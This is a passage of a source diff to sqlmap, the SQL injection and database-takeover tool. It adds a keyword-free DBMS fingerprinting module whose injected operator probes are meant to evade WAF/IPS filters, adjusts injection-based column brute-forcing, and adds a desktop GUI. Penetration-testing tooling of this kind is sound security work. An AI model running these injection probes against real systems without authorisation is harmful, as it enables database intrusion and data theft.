(column, column, table))) + else: + result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE ROUND(%s)=ROUND(%s))", (column, table, column, column))) - for _ in ((conf.db, conf.tbl, item[0], item[1]) for item in columns.items()): - if _ not in kb.brute.columns: - kb.brute.columns.append(_) + if result: + columns[column] = "numeric" + else: + columns[column] = "non-numeric" + + if conf.db not in kb.data.cachedColumns: + kb.data.cachedColumns[conf.db] = {} + kb.data.cachedColumns[conf.db][table] = columns - hashDBWrite(HASHDB_KEYS.KB_BRUTE_COLUMNS, kb.brute.columns, True) + for _ in ((conf.db, table, item[0], item[1]) for item in columns.items()): + if _ not in kb.brute.columns: + kb.brute.columns.append(_) + + hashDBWrite(HASHDB_KEYS.KB_BRUTE_COLUMNS, kb.brute.columns, True) return kb.data.cachedColumns @@ -387,9 +390,6 @@ def fileExistsThread(): kb.locks.io.release() try: - pushValue(logger.getEffectiveLevel()) - logger.setLevel(logging.CRITICAL) - runThreads(conf.threads, fileExistsThread, threadChoice=True) except KeyboardInterrupt: warnMsg = "user aborted during file existence " @@ -397,7 +397,6 @@ def fileExistsThread(): logger.warning(warnMsg) finally: kb.bruteMode = False - logger.setLevel(popValue()) clearConsoleLine(True) dataToStdout("\n") diff --git a/lib/utils/crawler.py b/lib/utils/crawler.py index 2d907071312..ff8d7bdd653 100644 --- a/lib/utils/crawler.py +++ b/lib/utils/crawler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -168,6 +168,8 @@ def crawlThread(): finally: if found: if items: + # keep sitemap-derived URLs on-scope, exactly like the HTML-crawl path above + items = OrderedSet(_ for _ in items if (re.search(conf.scope, _, re.I) if conf.scope else checkSameHost(_, target))) for item in items: if re.search(r"(.*?)\?(.+)", item): threadData.shared.value.add(item) @@ -254,7 +256,7 @@ def storeResultsToFile(results): infoMsg = "writing crawling results to a temporary file '%s' " % filename logger.info(infoMsg) - with openFile(filename, "w+b") as f: + with openFile(filename, "w+") as f: if conf.forms: f.write("URL,POST\n") diff --git a/lib/utils/deps.py b/lib/utils/deps.py index 1d73022877d..9bca3617c8c 100644 --- a/lib/utils/deps.py +++ b/lib/utils/deps.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -32,13 +32,13 @@ def checkDependencies(): elif dbmsName in (DBMS.PGSQL, DBMS.CRATEDB): __import__("psycopg2") elif dbmsName == DBMS.ORACLE: - __import__("cx_Oracle") + __import__("oracledb") elif dbmsName == DBMS.SQLITE: __import__("sqlite3") elif dbmsName == DBMS.ACCESS: __import__("pyodbc") elif dbmsName == DBMS.FIREBIRD: - __import__("kinterbasdb") + __import__("firebirdsql") elif dbmsName == DBMS.DB2: __import__("ibm_db_dbi") elif dbmsName in (DBMS.HSQLDB, DBMS.CACHE): @@ -58,6 +58,8 @@ def checkDependencies(): __import__("mimerpy") elif dbmsName == DBMS.CUBRID: __import__("CUBRIDdb") + elif dbmsName == DBMS.CLICKHOUSE: + __import__("clickhouse_connect") except: warnMsg = "sqlmap requires '%s' third-party library " % data[1] warnMsg += "in order to directly connect to the DBMS " @@ -81,28 +83,6 @@ def checkDependencies(): logger.warning(warnMsg) missing_libraries.add('python-impacket') - try: - __import__("ntlm") - debugMsg = "'python-ntlm' third-party library is found" - logger.debug(debugMsg) - except ImportError: - warnMsg = "sqlmap requires 'python-ntlm' third-party library " - warnMsg += "if you plan to attack a web application behind NTLM " - warnMsg += "authentication. Download from 'https://github.com/mullender/python-ntlm'" - logger.warning(warnMsg) - missing_libraries.add('python-ntlm') - - try: - __import__("websocket._abnf") - debugMsg = "'websocket-client' library is found" - logger.debug(debugMsg) - except ImportError: - warnMsg = "sqlmap requires 'websocket-client' third-party library " - warnMsg += "if you plan to attack a web application using WebSocket. " - warnMsg += "Download from 'https://pypi.python.org/pypi/websocket-client/'" - logger.warning(warnMsg) - missing_libraries.add('websocket-client') - try: __import__("tkinter") debugMsg = "'tkinter' library is found" diff --git a/lib/utils/dialect.py b/lib/utils/dialect.py new file mode 100644 index 00000000000..47f973edcb1 --- /dev/null +++ b/lib/utils/dialect.py @@ -0,0 +1,144 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import popValue +from lib.core.common import pushValue +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.request.inject import checkBooleanExpression + +# Operator-dialect probes for a keyword-free back-end DBMS heuristic. +# +# Each probe is an arithmetic identity that holds only in the dialect(s) noted, using operator +# *semantics* alone - no SQL keywords, functions, quotes or schema names. It complements +# heuristicCheckDbms() (which uses (SELECT 'x')='x' string round-trips): the dialect probes carry +# no SELECT/quote, so they can narrow the back-end DBMS where those are dropped (e.g. a +# keyword-matching WAF/IPS, or when kb.droppingRequests has it skipped entirely). +# +# Each probe is evaluated through checkBooleanExpression(), i.e. as an appended boolean +# (... AND ()), which yields a clean true/false from the comparison oracle. (A value-position +# variant - replacing the value with id=2^0 etc. - was prototyped and rejected: those probes land on +# OTHER valid rows, which sqlmap's fuzzy page comparison conflates with the anchor row, producing +# false positives. See PROVE_DESIGN.md.) +# +# Signatures were measured against every SQL engine on a live OWASP-CRS platform (MySQL/MySQL5, +# MariaDB/TiDB, PostgreSQL, CockroachDB, CrateDB, Microsoft SQL Server, SQLite, Firebird, ClickHouse, +# H2, HSQLDB, Derby, MonetDB, IRIS, Trino) and encoded as an exact-signature WHITELIST in _classify() +# (only measured signatures classify; anything else -> None). With anchor value 2: +# +# * 2^0=2 -> '^' is bitwise XOR (MySQL/MSSQL/MonetDB: 2^0=2) vs exponentiation (PostgreSQL: 2^0=1) +# vs no such operator (SQLite/Oracle/... -> error, so false) +# * 2^3=8 -> '^' is exponentiation (PostgreSQL/CockroachDB/CrateDB: 2^3=8) - false for XOR dialects +# (2^3=1) and erroring dialects; a positive PostgreSQL-family marker. CAVEAT: +# '^'=exponentiation is not strictly unique to PostgreSQL - MS Access/Jet and DuckDB +# also use it (neither on the platform), so this can read as PostgreSQL there. +# * 5/2=2 -> integer division (PostgreSQL/MSSQL/SQLite/MonetDB) vs real division (MySQL/Oracle: 2.5) +# * 2|0=2 -> a bitwise OR operator exists (absent in Firebird/Oracle/ClickHouse/H2) +# * 1<<2=4 -> a bit-shift operator exists. MonetDB shares MSSQL's (xor, intdiv) = (True, True) +# signature exactly, which would misread MonetDB as SQL Server; MonetDB HAS '<<' while +# SQL Server has NO shift operator (any version) -> this probe splits that one collision. +DIALECT_PROBES = ( + ("xor", "2^0=2"), + ("pgpow", "2^3=8"), + ("intdiv", "5/2=2"), + ("bitor", "2|0=2"), + ("shift", "1<<2=4"), +) + +# Canary for the trustworthiness gate: a syntactically-invalid expression (a trailing operator) that +# a real SQL back-end can only read as FALSE - the appended clause is a parse error, the query fails, +# no row. A false-positive / noise channel (a WAF, a reflection, or a backend that ignores the +# injected tail and reads every probe the same) reads it as TRUE, which is proof the boolean oracle +# is trash, so the heuristic returns None (a true negative) rather than a bogus DBMS from a +# meaningless signature. It uses a trailing-operator form, distinct from the ' ' no-operator +# form already exercised by sqlmap's earlier false-positive check, so it adds new information. +DIALECT_CANARY = "2+" + +# Exact operator-dialect signature -> back-end DBMS. Strict WHITELIST re-derived from the live +# measurement above: ONLY these signatures classify; any other - an engine not measured here, or a +# false-positive / noise channel - returns None. This deliberately replaces earlier partial-condition +# rules, which would confidently mis-map physically-impossible signatures onto a DBMS (e.g. the +# all-true 'reads everything as true' noise, where '^' would be XOR and exponentiation at once). +_SIGNATURE_DBMS = { + # xor pgpow intdiv bitor shift + (True, False, False, True, True): DBMS.MYSQL, # MySQL / MariaDB / TiDB + (False, True, True, True, True): DBMS.PGSQL, # PostgreSQL + (False, True, False, True, True): DBMS.PGSQL, # CockroachDB (pgwire; has '<<' -> shift True) + (False, True, True, True, False): DBMS.PGSQL, # CrateDB + (True, False, True, True, False): DBMS.MSSQL, # Microsoft SQL Server (no bit-shift) + (True, False, True, True, True): DBMS.MONETDB, # MonetDB (as MSSQL but has '<<') + (False, False, True, True, True): DBMS.SQLITE, # SQLite +} + +def _classify(signature): + """ + Maps an exact operator-dialect signature (xor, pgpow, intdiv, bitor, shift) to a back-end DBMS + through a strict whitelist of live-measured signatures, or returns None when the signature is not + a known DBMS fingerprint - an engine not measured, or a noise / false-positive channel - so + detection proceeds unchanged and the heuristic never wrong-foots the scan. + + >>> _classify((True, False, False, True, True)) # MySQL / MariaDB / TiDB + 'MySQL' + >>> _classify((False, True, True, True, True)) # PostgreSQL + 'PostgreSQL' + >>> _classify((False, True, False, True, True)) # CockroachDB -> PostgreSQL family + 'PostgreSQL' + >>> _classify((False, True, True, True, False)) # CrateDB -> PostgreSQL family + 'PostgreSQL' + >>> _classify((True, False, True, True, False)) # Microsoft SQL Server (no bit-shift) + 'Microsoft SQL Server' + >>> _classify((True, False, True, True, True)) # MonetDB (as MSSQL but has '<<') + 'MonetDB' + >>> _classify((False, False, True, True, True)) # SQLite + 'SQLite' + >>> _classify((True, True, True, True, True)) is None # 'reads everything true' noise -> None + True + >>> _classify((False, False, False, False, False)) is None # all-false (Oracle/ClickHouse/IRIS/blocked) -> None + True + >>> _classify((False, False, True, False, False)) is None # Firebird/H2/HSQLDB/Derby/Trino -> not distinctive + True + """ + + return _SIGNATURE_DBMS.get(tuple(bool(_) for _ in signature)) + +def dialectCheckDbms(injection): + """ + Keyword-free back-end DBMS heuristic via operator-dialect differentials, evaluated through the + given (boolean-capable) injection. Complements heuristicCheckDbms() - which is skipped when the + WAF/IPS is dropping requests and otherwise relies on SELECT/quote payloads - because every probe + here is built from operator semantics alone. Returns the DBMS name or None; an ambiguous, + WAF-blocked or false-positive channel yields None, leaving the scan unchanged. + """ + + retVal = None + + if conf.skipHeuristics: + return retVal + + pushValue(kb.injection) + kb.injection = injection + + try: + # Trustworthiness gate: a real boolean oracle reads a tautology TRUE, a contradiction FALSE, + # and a syntactically-invalid canary FALSE (the appended clause is a parse error -> the query + # fails). A false-positive / noise channel reads them all alike - the canary as TRUE - which + # is proof the oracle is trash, so classification is skipped (a true negative) instead of + # emitting a bogus DBMS from a meaningless signature. + if checkBooleanExpression("2=2") and not checkBooleanExpression("2=3") and not checkBooleanExpression(DIALECT_CANARY): + signature = tuple(bool(checkBooleanExpression(expr)) for _, expr in DIALECT_PROBES) + retVal = _classify(signature) + finally: + kb.injection = popValue() + + if retVal and not Backend.getIdentifiedDbms(): + infoMsg = "heuristic (dialect) test shows that the back-end DBMS could be '%s'" % retVal + logger.info(infoMsg) + + return retVal diff --git a/lib/utils/getch.py b/lib/utils/getch.py index 347fd7e5365..00c92f87368 100644 --- a/lib/utils/getch.py +++ b/lib/utils/getch.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -16,7 +16,7 @@ def __init__(self): except ImportError: try: self.impl = _GetchMacCarbon() - except(AttributeError, ImportError): + except (AttributeError, ImportError): self.impl = _GetchUnix() def __call__(self): diff --git a/lib/utils/gui.py b/lib/utils/gui.py new file mode 100644 index 00000000000..97beb328b5c --- /dev/null +++ b/lib/utils/gui.py @@ -0,0 +1,1054 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import os +import subprocess +import sys +import tempfile +import threading +import webbrowser + +from lib.core.common import getSafeExString +from lib.core.common import saveConfig +from lib.core.data import paths +from lib.core.defaults import defaults +from lib.core.enums import MKSTEMP_PREFIX +from lib.core.exception import SqlmapMissingDependence +from lib.core.exception import SqlmapSystemException +from lib.core.settings import DEV_EMAIL_ADDRESS +from lib.core.settings import IS_WIN +from lib.core.settings import ISSUES_PAGE +from lib.core.settings import GIT_PAGE +from lib.core.settings import SITE +from lib.core.settings import VERSION_STRING +from lib.core.settings import WIKI_PAGE +from thirdparty.six.moves import queue as _queue + +# Classic Windows (NT/9x) palette: silver 3D face, navy title/selection, white sunken fields, +# black text, and saturated VGA-style accents for the icons (presentation only) +PALETTE = { + "base": "#c0c0c0", # window / control face (silver) + "mantle": "#c0c0c0", # bars (classic is uniform gray, separated by bevels) + "crust": "#ffffff", # console / edit background + "surface0": "#ffffff", # field (edit) background + "surface1": "#808080", # 3D shadow + "surface2": "#dfdfdf", # 3D light (soft) + "light": "#ffffff", # 3D highlight + "dark": "#404040", # 3D dark shadow + "text": "#000000", + "subtext": "#000000", + "overlay": "#404040", + "title2": "#1084d0", # active title-bar gradient end + "blue": "#000080", # navy: title, selection, accents + "sapphire": "#0050b0", + "sky": "#0070c0", + "green": "#008000", + "teal": "#008080", + "red": "#c00000", + "maroon": "#800000", + "mauve": "#9000a8", + "pink": "#c000b0", + "peach": "#c06000", + "yellow": "#c08000", + "lavender": "#4858c0", + "flamingo": "#c04070", + "gold": "#e0a800", +} + +# a distinct accent color per section, so the sidebar icons read as a colorful, scannable set +ICON_COLORS = { + "Quick start": "yellow", + "Target": "red", + "Request": "sapphire", + "Optimization": "teal", + "Injection": "mauve", + "Detection": "sky", + "Techniques": "maroon", + "Fingerprint": "lavender", + "Enumeration": "green", + "Brute force": "peach", + "User-defined function injection": "pink", + "File system access": "gold", + "Operating system access": "blue", + "Windows registry access": "sapphire", + "General": "teal", + "Miscellaneous": "overlay", +} + +# Options surfaced on the curated "Quick start" pane (by destination), in display order +QUICK_START_DESTS = ( + "data", "cookie", "dbms", "level", "risk", "technique", + "getCurrentUser", "getCurrentDb", "getBanner", "isDba", + "getDbs", "getTables", "getColumns", "getPasswordHashes", "dumpTable", + "batch", "threads", "proxy", "tor", +) + +# Short, readable sidebar labels for the (sometimes verbose) option-group titles +NAV_ALIASES = { + "User-defined function injection": "UDF injection", + "Operating system access": "OS access", + "Windows registry access": "Windows registry", + "File system access": "File system", +} + +TARGET_PLACEHOLDER = "http://www.target.com/vuln.php?id=1" + +HINT_DEFAULT = "Hover or focus a field to see what it does." + +# --- parser-backend compatibility (works for both optparse and argparse objects) --- + +def _parserGroups(parser): + groups = getattr(parser, "option_groups", None) + if groups is None: + groups = [_ for _ in getattr(parser, "_action_groups", []) if getattr(_, "title", None) not in (None, "positional arguments", "optional arguments", "options")] + return groups or [] + +def _groupOptions(group): + for attr in ("option_list", "_group_actions"): + if hasattr(group, attr): + return getattr(group, attr) + return [] + +def _groupTitle(group): + return getattr(group, "title", "") or "" + +def _groupDescription(group): + if hasattr(group, "get_description"): + return group.get_description() or "" + return getattr(group, "description", "") or "" + +def _optStrings(option): + if hasattr(option, "option_strings"): # argparse + return list(option.option_strings) + return list(getattr(option, "_short_opts", None) or []) + list(getattr(option, "_long_opts", None) or []) + +def _optDest(option): + return getattr(option, "dest", None) + +def _optHelp(option): + return getattr(option, "help", "") or "" + +def _optChoices(option): + return getattr(option, "choices", None) + +def _optTakesValue(option): + if hasattr(option, "takes_value"): # optparse Option + try: + return option.takes_value() + except Exception: + pass + return getattr(option, "nargs", 1) != 0 # argparse: store_true/false has nargs 0 + +def _optValueType(option): + kind = getattr(option, "type", None) + if kind in ("int", int): + return "int" + if kind in ("float", float): + return "float" + return "string" + +def _optionLabel(option): + return ", ".join(_optStrings(option)) or (_optDest(option) or "") + +class _Tooltip(object): + """Lightweight hover tooltip for a widget""" + + def __init__(self, widget, text, tk, palette): + self._widget = widget + self._text = text + self._tk = tk + self._palette = palette + self._tip = None + widget.bind("", self._show, add="+") + widget.bind("", self._hide, add="+") + widget.bind("", self._hide, add="+") + + def _show(self, event=None): + if self._tip or not self._text: + return + x = self._widget.winfo_rootx() + 18 + y = self._widget.winfo_rooty() + self._widget.winfo_height() + 6 + self._tip = tw = self._tk.Toplevel(self._widget) + tw.wm_overrideredirect(True) + tw.wm_geometry("+%d+%d" % (x, y)) + self._tk.Label(tw, text=self._text, justify="left", background=self._palette["surface0"], + foreground=self._palette["text"], relief="flat", borderwidth=0, + wraplength=460, padx=10, pady=7).pack() + + def _hide(self, event=None): + if self._tip: + self._tip.destroy() + self._tip = None + +class SqlmapGui(object): + def __init__(self, parser, tk, ttk, scrolledtext, messagebox, filedialog, font): + self.parser = parser + self.tk = tk + self.ttk = ttk + self.scrolledtext = scrolledtext + self.messagebox = messagebox + self.filedialog = filedialog + self.font = font + + self.widgets = {} # dest -> (type, shared Tk variable) + self.vars = {} # dest -> shared Tk variable (one per option, bound to every widget for it) + self.optionByDest = {} + for group in _parserGroups(parser): + for option in _groupOptions(group): + if _optDest(option): + self.optionByDest[_optDest(option)] = option + + self.panes = {} # name -> outer frame + self.navItems = {} # name -> (row frame, accent strip, icon canvas, label) + self.canvases = {} # name -> canvas (for wheel binding) + self.inners = {} # name -> scrollable inner frame (populated lazily) + self.builders = {} # name -> callable that populates the inner frame + self.built = set() # names whose content has been built + self.badges = {} # name -> sidebar count badge label + self.sectionDests = {} # name -> [option dests in that section] + self.paneOrder = [] # nav order, for Up/Down navigation + self.currentPane = None + self.process = None + self.alive = False + self.queue = None + + try: + self.window = tk.Tk() + except Exception as ex: + raise SqlmapSystemException("unable to create GUI window ('%s')" % getSafeExString(ex)) + + self._initFonts() + self._initStyle() + self._buildLayout() + + def _initFonts(self): + family = self.font.nametofont("TkDefaultFont").actual("family") + self.fonts = { + "body": (family, 10), + "bodyBold": (family, 10, "bold"), + "small": (family, 9), + "nav": (family, 10), + "title": (family, 18, "bold"), + "subtitle": (family, 9), + "mono": (self.font.nametofont("TkFixedFont").actual("family"), 10), + } + + def _initStyle(self): + p = PALETTE + face, light, light2, shadow, dark = p["base"], p["light"], p["surface2"], p["surface1"], p["dark"] + navy, white, black, field = p["blue"], "#ffffff", p["text"], p["surface0"] + style = self.ttk.Style() + if "clam" in style.theme_names(): + style.theme_use("clam") + + style.configure(".", background=face, foreground=black, fieldbackground=field, + bordercolor=shadow, lightcolor=light, darkcolor=shadow, + troughcolor=face, focuscolor=face, insertcolor=black, font=self.fonts["body"]) + + for name in ("TFrame", "Bar.TFrame", "Nav.TFrame", "Card.TFrame"): + style.configure(name, background=face) + + style.configure("TLabel", background=face, foreground=black) + style.configure("Title.TLabel", background=navy, foreground=white, font=self.fonts["title"]) + style.configure("Subtitle.TLabel", background=navy, foreground=white, font=self.fonts["subtitle"]) + style.configure("Hint.TLabel", background=face, foreground=p["overlay"], font=self.fonts["small"]) + style.configure("Field.TLabel", background=face, foreground=black) + style.configure("Desc.TLabel", background=face, foreground=p["overlay"], font=self.fonts["small"]) + style.configure("Pane.TLabel", background=face, foreground=navy, font=self.fonts["title"]) + style.configure("Stat.TLabel", background=face, foreground=p["overlay"], font=self.fonts["small"]) + style.configure("Prompt.TLabel", background=field, foreground=black, font=self.fonts["mono"]) + + # classic raised 3D push button + style.configure("TButton", background=face, foreground=black, relief="raised", borderwidth=2, + lightcolor=light, darkcolor=dark, bordercolor=shadow, focuscolor=black, padding=(12, 4)) + style.map("TButton", background=[("active", face)], relief=[("pressed", "sunken")]) + + # sunken white edit fields + for name in ("TEntry", "Target.TEntry"): + style.configure(name, fieldbackground=field, foreground=black, relief="sunken", borderwidth=2, + bordercolor=shadow, lightcolor=shadow, darkcolor=light, insertcolor=black, padding=4) + + style.configure("TCheckbutton", background=face, foreground=black, focuscolor=face, padding=2, + indicatorbackground=field, indicatorforeground=black, indicatorrelief="sunken", indicatorborderwidth=2, + bordercolor=shadow, lightcolor=shadow, darkcolor=light) + style.map("TCheckbutton", background=[("active", face)], indicatorbackground=[("active", field), ("selected", field)]) + + style.configure("TCombobox", fieldbackground=field, background=face, foreground=black, arrowcolor=black, + relief="sunken", borderwidth=2, bordercolor=shadow, lightcolor=shadow, darkcolor=light, padding=3) + + # classic chunky scrollbar (raised gray thumb, light trough) + style.configure("Vertical.TScrollbar", background=face, troughcolor=light2, bordercolor=shadow, + lightcolor=light, darkcolor=dark, arrowcolor=black, relief="raised", width=17) + style.map("Vertical.TScrollbar", background=[("active", face)]) + + self.window.configure(background=face) + + # --- layout --------------------------------------------------------- + + def _buildLayout(self): + tk = self.tk + self.window.title("sqlmap") + self.window.minsize(960, 680) + self._buildMenu() + self._buildHeader() + + target = self.ttk.Frame(self.window, style="Bar.TFrame", padding=(20, 12, 20, 14)) + target.pack(fill=tk.X) + labelRow = self.ttk.Frame(target, style="Bar.TFrame") + labelRow.pack(fill=tk.X, pady=(0, 4)) + self.ttk.Label(labelRow, text="TARGET URL", style="Hint.TLabel").pack(side=tk.LEFT) + self.ttk.Label(labelRow, text=" e.g. %s" % TARGET_PLACEHOLDER, style="Stat.TLabel").pack(side=tk.LEFT) + urlVar = self._destVar("url", False) + self.targetEntry = self.ttk.Entry(target, style="Target.TEntry", textvariable=urlVar) + self.targetEntry.pack(fill=tk.X, ipady=2) + self.widgets["url"] = ("string", urlVar) + + body = self.ttk.Frame(self.window, style="TFrame") + body.pack(expand=True, fill=tk.BOTH) + + navHolder = self.ttk.Frame(body, style="Nav.TFrame", width=202) + navHolder.pack(side=tk.LEFT, fill=tk.Y) + navHolder.pack_propagate(False) + self.navCanvas = tk.Canvas(navHolder, background=PALETTE["mantle"], highlightthickness=0, borderwidth=0) + navScroll = self.ttk.Scrollbar(navHolder, orient="vertical", command=self.navCanvas.yview, style="Vertical.TScrollbar") + self.nav = self.ttk.Frame(self.navCanvas, style="Nav.TFrame") + self.nav.bind("", lambda e: self.navCanvas.configure(scrollregion=self.navCanvas.bbox("all"))) + navWin = self.navCanvas.create_window((0, 0), window=self.nav, anchor="nw") + self.navCanvas.bind("", lambda e: self.navCanvas.itemconfigure(navWin, width=e.width)) + self.navCanvas.configure(yscrollcommand=navScroll.set) + self.navCanvas.pack(side=tk.LEFT, fill=tk.BOTH, expand=True) + navScroll.pack(side=tk.RIGHT, fill=tk.Y) + + tk.Frame(body, background=PALETTE["surface1"], width=1).pack(side=tk.LEFT, fill=tk.Y) + + self.content = self.ttk.Frame(body, style="Card.TFrame") + self.content.pack(side=tk.LEFT, expand=True, fill=tk.BOTH) + + cmdBar = self.ttk.Frame(self.window, style="Bar.TFrame", padding=(20, 8)) + cmdBar.pack(fill=tk.X) + self.ttk.Label(cmdBar, text="Command:", style="Hint.TLabel").pack(side=tk.LEFT, padx=(0, 8)) + self.ttk.Button(cmdBar, text="Copy", command=self._copyCommand, takefocus=False).pack(side=tk.RIGHT, padx=(8, 0)) + self.command = tk.StringVar(value="sqlmap.py") + cmdEntry = tk.Entry(cmdBar, textvariable=self.command, font=self.fonts["mono"], + bg="#ffffff", fg=PALETTE["blue"], readonlybackground="#ffffff", + disabledforeground=PALETTE["blue"], relief="sunken", borderwidth=2, + highlightthickness=0, state="readonly") + cmdEntry.pack(side=tk.LEFT, fill=tk.X, expand=True) + + hintBar = self.ttk.Frame(self.window, style="Bar.TFrame", padding=(20, 9)) + hintBar.pack(fill=tk.X) + self.stat = tk.StringVar(value="") + self.ttk.Label(hintBar, textvariable=self.stat, style="Stat.TLabel", anchor="e").pack(side=tk.RIGHT, padx=(12, 0)) + self.hint = tk.StringVar(value=HINT_DEFAULT) + self.ttk.Label(hintBar, textvariable=self.hint, style="Hint.TLabel", anchor="w").pack(side=tk.LEFT, fill=tk.X, expand=True) + + self._buildQuickStartPane() + for group in _parserGroups(self.parser): + self._buildGroupPane(group) + + self._selectPane("Quick start") + self.window.bind("", lambda e: self._navKey(1)) + self.window.bind("", lambda e: self._navKey(-1)) + for seq in ("", "", ""): + self.window.bind_all(seq, self._onWheel) + self.window.bind("", lambda e: self.run()) + self.window.bind("", lambda e: self.run()) + self.window.bind("", lambda e: self.run()) + self.window.bind("", lambda e: self._focusTarget()) + self.window.bind("", lambda e: self.saveConfigDialog()) + self.window.bind("", lambda e: self.loadConfig()) + self._enableSelectAll() + self._tickStats() + self._prebuildPanes() + self._center(self.window, 1000, 720) + + def _prebuildPanes(self): + # Tk isn't thread-safe, so widgets must be built on the main thread; instead of blocking, + # build the not-yet-visited panes one per idle tick so they are ready (instant) by the time + # the user navigates to them, while the UI stays responsive (on-demand build is the fallback) + pending = [_ for _ in self.paneOrder if _ not in self.built] + + def step(): + while pending and pending[0] in self.built: + pending.pop(0) + if not pending: + return + name = pending.pop(0) + try: + self.builders[name](self.inners[name]) + self.built.add(name) + except Exception: + pass + if pending: + self.window.after(30, step) + + self.window.after(250, step) + + def _enableSelectAll(self): + # Tk binds Ctrl-A to "cursor to line start" by default; rebind it to select-all, + # which is what users expect (covers entries, comboboxes and the console text widget) + def selectEntry(event): + try: + event.widget.select_range(0, "end") + event.widget.icursor("end") + except Exception: + pass + return "break" + + def selectText(event): + try: + event.widget.tag_add("sel", "1.0", "end-1c") + except Exception: + pass + return "break" + + for cls in ("TEntry", "Entry", "TCombobox"): + self.window.bind_class(cls, "", selectEntry) + self.window.bind_class(cls, "", selectEntry) + for seq in ("", ""): + self.window.bind_class("Text", seq, selectText) + + def _buildMenu(self): + p = PALETTE + menubar = self.tk.Menu(self.window, bg=p["mantle"], fg=p["text"], activebackground=p["surface0"], activeforeground=p["text"], borderwidth=0) + filemenu = self.tk.Menu(menubar, tearoff=0, bg=p["mantle"], fg=p["text"], activebackground=p["surface0"], activeforeground=p["text"]) + filemenu.add_command(label="Load configuration...", command=self.loadConfig) + filemenu.add_command(label="Save configuration...", command=self.saveConfigDialog) + filemenu.add_separator() + filemenu.add_command(label="Exit", command=self.window.quit) + menubar.add_cascade(label="File", menu=filemenu) + menubar.add_command(label="Run", command=self.run) + helpmenu = self.tk.Menu(menubar, tearoff=0, bg=p["mantle"], fg=p["text"], activebackground=p["surface0"], activeforeground=p["text"]) + helpmenu.add_command(label="Official site", command=lambda: webbrowser.open(SITE)) + helpmenu.add_command(label="GitHub", command=lambda: webbrowser.open(GIT_PAGE)) + helpmenu.add_command(label="Wiki", command=lambda: webbrowser.open(WIKI_PAGE)) + helpmenu.add_command(label="Report issue", command=lambda: webbrowser.open(ISSUES_PAGE)) + helpmenu.add_separator() + helpmenu.add_command(label="About", command=lambda: self.messagebox.showinfo("About", "%s\n\n (%s)" % (VERSION_STRING, DEV_EMAIL_ADDRESS))) + menubar.add_cascade(label="Help", menu=helpmenu) + self.window.config(menu=menubar) + + def _buildHeader(self): + self._runHover = False + self.header = self.tk.Canvas(self.window, height=76, highlightthickness=0, borderwidth=0, background=PALETTE["base"]) + self.header.pack(fill=self.tk.X) + self.header.bind("", lambda e: self._drawHeader()) + + def _interp(self, color1, color2, ratio): + a = [int(color1[_:_ + 2], 16) for _ in (1, 3, 5)] + b = [int(color2[_:_ + 2], 16) for _ in (1, 3, 5)] + return "#%02x%02x%02x" % tuple(int(a[_] + (b[_] - a[_]) * ratio) for _ in range(3)) + + def _drawHeader(self): + p = PALETTE + c = self.header + c.delete("all") + width = c.winfo_width() + height = 76 + steps = max(1, width // 4) + for i in range(steps): + c.create_rectangle(i * width / steps, 0, (i + 1) * width / steps + 1, height, + outline="", fill=self._interp(p["blue"], p["title2"], i / float(steps))) + c.create_text(24, 27, text="sqlmap", anchor="w", fill="#ffffff", font=self.fonts["title"]) + c.create_text(122, 31, text=VERSION_STRING.replace("sqlmap/", "v"), anchor="w", fill="#c7d8ef", font=self.fonts["subtitle"]) + c.create_text(24, 54, text="automatic SQL injection and database takeover tool", anchor="w", fill="#dfe8f6", font=self.fonts["small"]) + self._drawRunButton(width, height) + + def _drawRunButton(self, width, height): + p = PALETTE + c = self.header + bw, bh = 116, 34 + x0 = width - bw - 22 + y0 = (height - bh) // 2 + x1, y1 = x0 + bw, y0 + bh + c.create_rectangle(x0, y0, x1, y1, fill=p["base"], outline="", tags=("runbtn", "runpill")) + # classic raised 3D bevel (white top/left, dark bottom/right) + c.create_line(x0, y0, x1, y0, fill="#ffffff", tags="runbtn") + c.create_line(x0, y0, x0, y1, fill="#ffffff", tags="runbtn") + c.create_line(x0, y1, x1, y1, fill=p["dark"], tags="runbtn") + c.create_line(x1, y0, x1, y1 + 1, fill=p["dark"], tags="runbtn") + c.create_line(x0 + 1, y1 - 1, x1 - 1, y1 - 1, fill=p["surface1"], tags="runbtn") + c.create_line(x1 - 1, y0 + 1, x1 - 1, y1 - 1, fill=p["surface1"], tags="runbtn") + cy = (y0 + y1) // 2 + tx = x0 + 24 + c.create_polygon(tx, cy - 6, tx, cy + 6, tx + 10, cy, fill=p["blue"], outline="", tags=("runbtn", "runico")) + c.create_text((x0 + x1) // 2 + 8, cy, text="Run", fill=p["text"], font=self.fonts["bodyBold"], tags=("runbtn", "runico")) + c.tag_bind("runbtn", "", lambda e: self.run()) + c.tag_bind("runbtn", "", lambda e: self._hoverRun(True)) + c.tag_bind("runbtn", "", lambda e: self._hoverRun(False)) + + def _hoverRun(self, on): + self._runHover = on + self.header.itemconfigure("runpill", fill="#ccccc6" if on else PALETTE["base"]) + try: + self.header.configure(cursor="hand2" if on else "") + except Exception: + pass + + def _drawIcon(self, c, name, col): + # minimal line-art icons, drawn as vectors so they render everywhere and need no assets + c.delete("all") + + def line(*pts, **kw): + c.create_line(*pts, fill=col, width=2, capstyle="round", joinstyle="round", **kw) + + def oval(x0, y0, x1, y1, filled=False): + c.create_oval(x0, y0, x1, y1, outline=col, width=2, fill=(col if filled else "")) + + def rect(x0, y0, x1, y1, filled=False): + c.create_rectangle(x0, y0, x1, y1, 